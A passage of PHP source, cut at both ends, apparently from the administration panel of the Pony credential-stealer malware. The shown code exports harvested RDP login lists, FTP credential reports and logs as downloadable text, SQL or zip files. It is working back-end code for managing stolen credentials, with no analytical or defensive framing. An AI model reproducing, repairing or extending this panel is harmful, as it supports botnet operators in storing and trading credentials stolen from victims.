if ($use_zip) { set_common_file_download_header('rdp_list.zip', 'application/zip'); ob_start(); $pony_db->get_rdp_list(true); $rdp_list_data = ob_get_contents(); ob_end_clean(); create_zip_and_send('rdp_list.txt', $rdp_list_data); } else { set_common_file_download_header('rdp_list.txt'); $pony_db->get_rdp_list(true); } die; } if ($admin_routine == 'download_reports' && $admin_action == 'ftp') { set_common_file_download_header('reports.sql'); $pony_db->export_reports(false); die; } if ($admin_routine == 'download_nonparsed_reports' && $admin_action == 'ftp') { set_common_file_download_header('non_parsed_reports.sql'); $pony_db->export_reports(true); die; } if ($admin_routine == 'download_log' && $admin_action == 'log') { if ($use_zip) { set_common_file_download_header('log.zip', 'application/zip'); ob_start(); $null_list = array(); $pony_db->get_log_list($null_list, 0, 0, true); $log_list_data = ob_get_contents(); ob_end_clean();